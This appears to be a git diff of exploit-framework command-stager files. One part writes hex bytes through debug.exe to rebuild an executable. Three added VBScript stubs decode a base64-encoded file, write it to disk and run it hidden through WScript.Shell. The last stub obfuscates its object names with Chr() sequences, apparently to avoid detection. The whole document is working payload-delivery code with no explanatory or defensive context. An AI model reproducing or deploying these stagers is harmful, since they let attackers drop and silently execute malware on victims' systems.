echo e a76 05 01 >>decoder_stub
|
||||
echo e a7c 17 01 >>decoder_stub
|
||||
echo e a7f 12 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 20 32 30 30 38 >>decoder_stub
|
||||
echo e a94 29 01 >>decoder_stub
|
||||
echo e a97 24 66 39 39 39 62 62 62 31 2d 66 31 30 61 2d 34 39 65 38 2d >>decoder_stub
|
||||
echo e aab 38 33 35 37 2d 30 35 39 61 30 63 65 37 37 31 36 38 >>decoder_stub
|
||||
echo e abe 0c 01 >>decoder_stub
|
||||
echo e ac1 07 31 2e 30 2e 30 2e 30 >>decoder_stub
|
||||
echo e acb 08 01 >>decoder_stub
|
||||
echo e ace 07 01 >>decoder_stub
|
||||
echo e ad4 08 01 >>decoder_stub
|
||||
echo e ad7 08 >>decoder_stub
|
||||
echo e add 1e 01 >>decoder_stub
|
||||
echo e ae0 01 >>decoder_stub
|
||||
echo e ae2 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 >>decoder_stub
|
||||
echo e af6 68 72 6f 77 73 01 >>decoder_stub
|
||||
echo e b00 85 18 7c 48 >>decoder_stub
|
||||
echo e b08 02 >>decoder_stub
|
||||
echo e b0c 53 >>decoder_stub
|
||||
echo e b10 18 28 >>decoder_stub
|
||||
echo e b14 18 0a >>decoder_stub
|
||||
echo e b18 52 53 44 53 e8 fc 2e 9d aa 52 59 42 a5 63 1e b1 c8 f6 59 23 >>decoder_stub
|
||||
echo e b2c 03 >>decoder_stub
|
||||
echo e b30 53 3a 5c 73 74 75 66 66 5c 70 72 6f 67 72 61 6d 6d 69 6e 67 >>decoder_stub
|
||||
echo e b44 5c 68 65 78 32 62 69 6e 5c 68 65 78 32 62 69 6e 5c 6f 62 6a >>decoder_stub
|
||||
echo e b58 5c 44 65 62 75 67 5c 68 65 78 32 62 69 6e 2e 70 64 62 >>decoder_stub
|
||||
echo e b6c 94 28 >>decoder_stub
|
||||
echo e b78 ae 28 >>decoder_stub
|
||||
echo e b7d 20 >>decoder_stub
|
||||
echo e b94 a0 28 >>decoder_stub
|
||||
echo e ba2 5f 43 6f 72 45 78 65 4d 61 69 6e >>decoder_stub
|
||||
echo e bae 6d 73 63 6f 72 65 65 2e 64 6c 6c >>decoder_stub
|
||||
echo e bbe ff 25 >>decoder_stub
|
||||
echo e bc1 20 40 >>decoder_stub
|
||||
echo e d0e 02 >>decoder_stub
|
||||
echo e d10 10 >>decoder_stub
|
||||
echo e d14 20 >>decoder_stub
|
||||
echo e d17 80 18 >>decoder_stub
|
||||
echo e d1c 38 >>decoder_stub
|
||||
echo e d1f 80 >>decoder_stub
|
||||
echo e d2e 01 >>decoder_stub
|
||||
echo e d30 01 >>decoder_stub
|
||||
echo e d34 50 >>decoder_stub
|
||||
echo e d37 80 >>decoder_stub
|
||||
echo e d46 01 >>decoder_stub
|
||||
echo e d48 01 >>decoder_stub
|
||||
echo e d4c 68 >>decoder_stub
|
||||
echo e d4f 80 >>decoder_stub
|
||||
echo e d5e 01 >>decoder_stub
|
||||
echo e d64 80 >>decoder_stub
|
||||
echo e d76 01 >>decoder_stub
|
||||
echo e d7c 90 >>decoder_stub
|
||||
echo e d80 a0 40 >>decoder_stub
|
||||
echo e d84 a0 02 >>decoder_stub
|
||||
echo e d90 40 43 >>decoder_stub
|
||||
echo e d94 ea 01 >>decoder_stub
|
||||
echo e da0 a0 02 34 >>decoder_stub
|
||||
echo e da6 56 >>decoder_stub
|
||||
echo e da8 53 >>decoder_stub
|
||||
echo e daa 5f >>decoder_stub
|
||||
echo e dac 56 >>decoder_stub
|
||||
echo e dae 45 >>decoder_stub
|
||||
echo e db0 52 >>decoder_stub
|
||||
echo e db2 53 >>decoder_stub
|
||||
echo e db4 49 >>decoder_stub
|
||||
echo e db6 4f >>decoder_stub
|
||||
echo e db8 4e >>decoder_stub
|
||||
echo e dba 5f >>decoder_stub
|
||||
echo e dbc 49 >>decoder_stub
|
||||
echo e dbe 4e >>decoder_stub
|
||||
echo e dc0 46 >>decoder_stub
|
||||
echo e dc2 4f >>decoder_stub
|
||||
echo e dc8 bd 04 ef fe >>decoder_stub
|
||||
echo e dce 01 >>decoder_stub
|
||||
echo e dd2 01 >>decoder_stub
|
||||
echo e dda 01 >>decoder_stub
|
||||
echo e de0 3f >>decoder_stub
|
||||
echo e de8 04 >>decoder_stub
|
||||
echo e dec 01 >>decoder_stub
|
||||
echo e dfc 44 >>decoder_stub
|
||||
echo e e00 01 >>decoder_stub
|
||||
echo e e02 56 >>decoder_stub
|
||||
echo e e04 61 >>decoder_stub
|
||||
echo e e06 72 >>decoder_stub
|
||||
echo e e08 46 >>decoder_stub
|
||||
echo e e0a 69 >>decoder_stub
|
||||
echo e e0c 6c >>decoder_stub
|
||||
echo e e0e 65 >>decoder_stub
|
||||
echo e e10 49 >>decoder_stub
|
||||
echo e e12 6e >>decoder_stub
|
||||
echo e e14 66 >>decoder_stub
|
||||
echo e e16 6f >>decoder_stub
|
||||
echo e e1c 24 >>decoder_stub
|
||||
echo e e1e 04 >>decoder_stub
|
||||
echo e e22 54 >>decoder_stub
|
||||
echo e e24 72 >>decoder_stub
|
||||
echo e e26 61 >>decoder_stub
|
||||
echo e e28 6e >>decoder_stub
|
||||
echo e e2a 73 >>decoder_stub
|
||||
echo e e2c 6c >>decoder_stub
|
||||
echo e e2e 61 >>decoder_stub
|
||||
echo e e30 74 >>decoder_stub
|
||||
echo e e32 69 >>decoder_stub
|
||||
echo e e34 6f >>decoder_stub
|
||||
echo e e36 6e >>decoder_stub
|
||||
echo e e3e b0 04 >>decoder_stub
|
||||
echo e e41 02 >>decoder_stub
|
||||
echo e e44 01 >>decoder_stub
|
||||
echo e e46 53 >>decoder_stub
|
||||
echo e e48 74 >>decoder_stub
|
||||
echo e e4a 72 >>decoder_stub
|
||||
echo e e4c 69 >>decoder_stub
|
||||
echo e e4e 6e >>decoder_stub
|
||||
echo e e50 67 >>decoder_stub
|
||||
echo e e52 46 >>decoder_stub
|
||||
echo e e54 69 >>decoder_stub
|
||||
echo e e56 6c >>decoder_stub
|
||||
echo e e58 65 >>decoder_stub
|
||||
echo e e5a 49 >>decoder_stub
|
||||
echo e e5c 6e >>decoder_stub
|
||||
echo e e5e 66 >>decoder_stub
|
||||
echo e e60 6f >>decoder_stub
|
||||
echo e e64 dc 01 >>decoder_stub
|
||||
echo e e68 01 >>decoder_stub
|
||||
echo e e6a 30 >>decoder_stub
|
||||
echo e e6c 30 >>decoder_stub
|
||||
echo e e6e 30 >>decoder_stub
|
||||
echo e e70 30 >>decoder_stub
|
||||
echo e e72 30 >>decoder_stub
|
||||
echo e e74 34 >>decoder_stub
|
||||
echo e e76 62 >>decoder_stub
|
||||
echo e e78 30 >>decoder_stub
|
||||
echo e e7c 38 >>decoder_stub
|
||||
echo e e7e 08 >>decoder_stub
|
||||
echo e e80 01 >>decoder_stub
|
||||
echo e e82 46 >>decoder_stub
|
||||
echo e e84 69 >>decoder_stub
|
||||
echo e e86 6c >>decoder_stub
|
||||
echo e e88 65 >>decoder_stub
|
||||
echo e e8a 44 >>decoder_stub
|
||||
echo e e8c 65 >>decoder_stub
|
||||
echo e e8e 73 >>decoder_stub
|
||||
echo e e90 63 >>decoder_stub
|
||||
echo e e92 72 >>decoder_stub
|
||||
echo e e94 69 >>decoder_stub
|
||||
echo e e96 70 >>decoder_stub
|
||||
echo e e98 74 >>decoder_stub
|
||||
echo e e9a 69 >>decoder_stub
|
||||
echo e e9c 6f >>decoder_stub
|
||||
echo e e9e 6e >>decoder_stub
|
||||
echo e ea4 68 >>decoder_stub
|
||||
echo e ea6 65 >>decoder_stub
|
||||
echo e ea8 78 >>decoder_stub
|
||||
echo e eaa 32 >>decoder_stub
|
||||
echo e eac 62 >>decoder_stub
|
||||
echo e eae 69 >>decoder_stub
|
||||
echo e eb0 6e >>decoder_stub
|
||||
echo e eb4 30 >>decoder_stub
|
||||
echo e eb6 08 >>decoder_stub
|
||||
echo e eb8 01 >>decoder_stub
|
||||
echo e eba 46 >>decoder_stub
|
||||
echo e ebc 69 >>decoder_stub
|
||||
echo e ebe 6c >>decoder_stub
|
||||
echo e ec0 65 >>decoder_stub
|
||||
echo e ec2 56 >>decoder_stub
|
||||
echo e ec4 65 >>decoder_stub
|
||||
echo e ec6 72 >>decoder_stub
|
||||
echo e ec8 73 >>decoder_stub
|
||||
echo e eca 69 >>decoder_stub
|
||||
echo e ecc 6f >>decoder_stub
|
||||
echo e ece 6e >>decoder_stub
|
||||
echo e ed4 31 >>decoder_stub
|
||||
echo e ed6 2e >>decoder_stub
|
||||
echo e ed8 30 >>decoder_stub
|
||||
echo e eda 2e >>decoder_stub
|
||||
echo e edc 30 >>decoder_stub
|
||||
echo e ede 2e >>decoder_stub
|
||||
echo e ee0 30 >>decoder_stub
|
||||
echo e ee4 38 >>decoder_stub
|
||||
echo e ee6 0c >>decoder_stub
|
||||
echo e ee8 01 >>decoder_stub
|
||||
echo e eea 49 >>decoder_stub
|
||||
echo e eec 6e >>decoder_stub
|
||||
echo e eee 74 >>decoder_stub
|
||||
echo e ef0 65 >>decoder_stub
|
||||
echo e ef2 72 >>decoder_stub
|
||||
echo e ef4 6e >>decoder_stub
|
||||
echo e ef6 61 >>decoder_stub
|
||||
echo e ef8 6c >>decoder_stub
|
||||
echo e efa 4e >>decoder_stub
|
||||
echo e efc 61 >>decoder_stub
|
||||
echo e efe 6d >>decoder_stub
|
||||
echo e f00 65 >>decoder_stub
|
||||
echo e f04 68 >>decoder_stub
|
||||
echo e f06 65 >>decoder_stub
|
||||
echo e f08 78 >>decoder_stub
|
||||
echo e f0a 32 >>decoder_stub
|
||||
echo e f0c 62 >>decoder_stub
|
||||
echo e f0e 69 >>decoder_stub
|
||||
echo e f10 6e >>decoder_stub
|
||||
echo e f12 2e >>decoder_stub
|
||||
echo e f14 65 >>decoder_stub
|
||||
echo e f16 78 >>decoder_stub
|
||||
echo e f18 65 >>decoder_stub
|
||||
echo e f1c 48 >>decoder_stub
|
||||
echo e f1e 12 >>decoder_stub
|
||||
echo e f20 01 >>decoder_stub
|
||||
echo e f22 4c >>decoder_stub
|
||||
echo e f24 65 >>decoder_stub
|
||||
echo e f26 67 >>decoder_stub
|
||||
echo e f28 61 >>decoder_stub
|
||||
echo e f2a 6c >>decoder_stub
|
||||
echo e f2c 43 >>decoder_stub
|
||||
echo e f2e 6f >>decoder_stub
|
||||
echo e f30 70 >>decoder_stub
|
||||
echo e f32 79 >>decoder_stub
|
||||
echo e f34 72 >>decoder_stub
|
||||
echo e f36 69 >>decoder_stub
|
||||
echo e f38 67 >>decoder_stub
|
||||
echo e f3a 68 >>decoder_stub
|
||||
echo e f3c 74 >>decoder_stub
|
||||
echo e f40 43 >>decoder_stub
|
||||
echo e f42 6f >>decoder_stub
|
||||
echo e f44 70 >>decoder_stub
|
||||
echo e f46 79 >>decoder_stub
|
||||
echo e f48 72 >>decoder_stub
|
||||
echo e f4a 69 >>decoder_stub
|
||||
echo e f4c 67 >>decoder_stub
|
||||
echo e f4e 68 >>decoder_stub
|
||||
echo e f50 74 >>decoder_stub
|
||||
echo e f52 20 >>decoder_stub
|
||||
echo e f54 a9 >>decoder_stub
|
||||
echo e f56 20 >>decoder_stub
|
||||
echo e f58 20 >>decoder_stub
|
||||
echo e f5a 32 >>decoder_stub
|
||||
echo e f5c 30 >>decoder_stub
|
||||
echo e f5e 30 >>decoder_stub
|
||||
echo e f60 38 >>decoder_stub
|
||||
echo e f64 40 >>decoder_stub
|
||||
echo e f66 0c >>decoder_stub
|
||||
echo e f68 01 >>decoder_stub
|
||||
echo e f6a 4f >>decoder_stub
|
||||
echo e f6c 72 >>decoder_stub
|
||||
echo e f6e 69 >>decoder_stub
|
||||
echo e f70 67 >>decoder_stub
|
||||
echo e f72 69 >>decoder_stub
|
||||
echo e f74 6e >>decoder_stub
|
||||
echo e f76 61 >>decoder_stub
|
||||
echo e f78 6c >>decoder_stub
|
||||
echo e f7a 46 >>decoder_stub
|
||||
echo e f7c 69 >>decoder_stub
|
||||
echo e f7e 6c >>decoder_stub
|
||||
echo e f80 65 >>decoder_stub
|
||||
echo e f82 6e >>decoder_stub
|
||||
echo e f84 61 >>decoder_stub
|
||||
echo e f86 6d >>decoder_stub
|
||||
echo e f88 65 >>decoder_stub
|
||||
echo e f8c 68 >>decoder_stub
|
||||
echo e f8e 65 >>decoder_stub
|
||||
echo e f90 78 >>decoder_stub
|
||||
echo e f92 32 >>decoder_stub
|
||||
echo e f94 62 >>decoder_stub
|
||||
echo e f96 69 >>decoder_stub
|
||||
echo e f98 6e >>decoder_stub
|
||||
echo e f9a 2e >>decoder_stub
|
||||
echo e f9c 65 >>decoder_stub
|
||||
echo e f9e 78 >>decoder_stub
|
||||
echo e fa0 65 >>decoder_stub
|
||||
echo e fa4 30 >>decoder_stub
|
||||
echo e fa6 08 >>decoder_stub
|
||||
echo e fa8 01 >>decoder_stub
|
||||
echo e faa 50 >>decoder_stub
|
||||
echo e fac 72 >>decoder_stub
|
||||
echo e fae 6f >>decoder_stub
|
||||
echo e fb0 64 >>decoder_stub
|
||||
echo e fb2 75 >>decoder_stub
|
||||
echo e fb4 63 >>decoder_stub
|
||||
echo e fb6 74 >>decoder_stub
|
||||
echo e fb8 4e >>decoder_stub
|
||||
echo e fba 61 >>decoder_stub
|
||||
echo e fbc 6d >>decoder_stub
|
||||
echo e fbe 65 >>decoder_stub
|
||||
echo e fc4 68 >>decoder_stub
|
||||
echo e fc6 65 >>decoder_stub
|
||||
echo e fc8 78 >>decoder_stub
|
||||
echo e fca 32 >>decoder_stub
|
||||
echo e fcc 62 >>decoder_stub
|
||||
echo e fce 69 >>decoder_stub
|
||||
echo e fd0 6e >>decoder_stub
|
||||
echo e fd4 34 >>decoder_stub
|
||||
echo e fd6 08 >>decoder_stub
|
||||
echo e fd8 01 >>decoder_stub
|
||||
echo e fda 50 >>decoder_stub
|
||||
echo e fdc 72 >>decoder_stub
|
||||
echo e fde 6f >>decoder_stub
|
||||
echo e fe0 64 >>decoder_stub
|
||||
echo e fe2 75 >>decoder_stub
|
||||
echo e fe4 63 >>decoder_stub
|
||||
echo e fe6 74 >>decoder_stub
|
||||
echo e fe8 56 >>decoder_stub
|
||||
echo e fea 65 >>decoder_stub
|
||||
echo e fec 72 >>decoder_stub
|
||||
echo e fee 73 >>decoder_stub
|
||||
echo e ff0 69 >>decoder_stub
|
||||
echo e ff2 6f >>decoder_stub
|
||||
echo e ff4 6e >>decoder_stub
|
||||
echo e ff8 31 >>decoder_stub
|
||||
echo e ffa 2e >>decoder_stub
|
||||
echo e ffc 30 >>decoder_stub
|
||||
echo e ffe 2e >>decoder_stub
|
||||
echo e 1000 30 >>decoder_stub
|
||||
echo e 1002 2e >>decoder_stub
|
||||
echo e 1004 30 >>decoder_stub
|
||||
echo e 1008 38 >>decoder_stub
|
||||
echo e 100a 08 >>decoder_stub
|
||||
echo e 100c 01 >>decoder_stub
|
||||
echo e 100e 41 >>decoder_stub
|
||||
echo e 1010 73 >>decoder_stub
|
||||
echo e 1012 73 >>decoder_stub
|
||||
echo e 1014 65 >>decoder_stub
|
||||
echo e 1016 6d >>decoder_stub
|
||||
echo e 1018 62 >>decoder_stub
|
||||
echo e 101a 6c >>decoder_stub
|
||||
echo e 101c 79 >>decoder_stub
|
||||
echo e 101e 20 >>decoder_stub
|
||||
echo e 1020 56 >>decoder_stub
|
||||
echo e 1022 65 >>decoder_stub
|
||||
echo e 1024 72 >>decoder_stub
|
||||
echo e 1026 73 >>decoder_stub
|
||||
echo e 1028 69 >>decoder_stub
|
||||
echo e 102a 6f >>decoder_stub
|
||||
echo e 102c 6e >>decoder_stub
|
||||
echo e 1030 31 >>decoder_stub
|
||||
echo e 1032 2e >>decoder_stub
|
||||
echo e 1034 30 >>decoder_stub
|
||||
echo e 1036 2e >>decoder_stub
|
||||
echo e 1038 30 >>decoder_stub
|
||||
echo e 103a 2e >>decoder_stub
|
||||
echo e 103c 30 >>decoder_stub
|
||||
echo e 1040 ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e >>decoder_stub
|
||||
echo e 1054 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 >>decoder_stub
|
||||
echo e 1068 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 79 65 73 22 3f 3e 0d 0a >>decoder_stub
|
||||
echo e 107c 3c 61 73 73 65 6d 62 6c 79 20 78 6d 6c 6e 73 3d 22 75 72 6e >>decoder_stub
|
||||
echo e 1090 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 >>decoder_stub
|
||||
echo e 10a4 6f 6d 3a 61 73 6d 2e 76 31 22 20 6d 61 6e 69 66 65 73 74 56 >>decoder_stub
|
||||
echo e 10b8 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0d 0a 20 20 3c 61 73 >>decoder_stub
|
||||
echo e 10cc 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 >>decoder_stub
|
||||
echo e 10e0 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 6e 61 6d 65 3d 22 4d >>decoder_stub
|
||||
echo e 10f4 79 41 70 70 6c 69 63 61 74 69 6f 6e 2e 61 70 70 22 2f 3e 0d >>decoder_stub
|
||||
echo e 1108 0a 20 20 3c 74 72 75 73 74 49 6e 66 6f 20 78 6d 6c 6e 73 3d >>decoder_stub
|
||||
echo e 111c 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f >>decoder_stub
|
||||
echo e 1130 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 3e 0d 0a 20 20 20 >>decoder_stub
|
||||
echo e 1144 20 3c 73 65 63 75 72 69 74 79 3e 0d 0a 20 20 20 20 20 20 3c >>decoder_stub
|
||||
echo e 1158 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 73 20 >>decoder_stub
|
||||
echo e 116c 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d >>decoder_stub
|
||||
echo e 1180 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 33 22 >>decoder_stub
|
||||
echo e 1194 3e 0d 0a 20 20 20 20 20 20 20 20 3c 72 65 71 75 65 73 74 65 >>decoder_stub
|
||||
echo e 11a8 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 20 6c 65 76 65 >>decoder_stub
|
||||
echo e 11bc 6c 3d 22 61 73 49 6e 76 6f 6b 65 72 22 20 75 69 41 63 63 65 >>decoder_stub
|
||||
echo e 11d0 73 73 3d 22 66 61 6c 73 65 22 2f 3e 0d 0a 20 20 20 20 20 20 >>decoder_stub
|
||||
echo e 11e4 3c 2f 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 >>decoder_stub
|
||||
echo e 11f8 73 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 75 72 69 74 79 3e 0d >>decoder_stub
|
||||
echo e 120c 0a 20 20 3c 2f 74 72 75 73 74 49 6e 66 6f 3e 0d 0a 3c 2f 61 >>decoder_stub
|
||||
echo e 1220 73 73 65 6d 62 6c 79 3e 0d 0a >>decoder_stub
|
||||
echo e 1301 20 >>decoder_stub
|
||||
echo e 1304 0c >>decoder_stub
|
||||
echo e 1308 c0 38 >>decoder_stub
|
||||
echo w >>decoder_stub
|
||||
echo q >>decoder_stub
|
|
@ -0,0 +1,40 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -0,0 +1,50 @@
|
|||
echo Dim var_origLoc >>decode_stub
|
||||
echo var_origLoc = SetLocale(1033) >>decode_stub
|
||||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Dim var_strmConv, var_writedir, var_writestream >>decode_stub
|
||||
echo var_writedir = "DECODED" >>decode_stub
|
||||
echo Set var_strmConv = CreateObject("ADODB.Stream") >>decode_stub
|
||||
echo var_strmConv.Type = 2 >>decode_stub
|
||||
echo var_strmConv.Charset = "x-ansi" >>decode_stub
|
||||
echo var_strmConv.Open >>decode_stub
|
||||
echo var_strmConv.WriteText data, 0 >>decode_stub
|
||||
echo var_strmConv.Position = 0 >>decode_stub
|
||||
echo var_strmConv.Type = 1 >>decode_stub
|
||||
echo var_strmConv.SaveToFile var_writedir, 2 >>decode_stub
|
||||
echo SetLocale(var_origLoc) >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
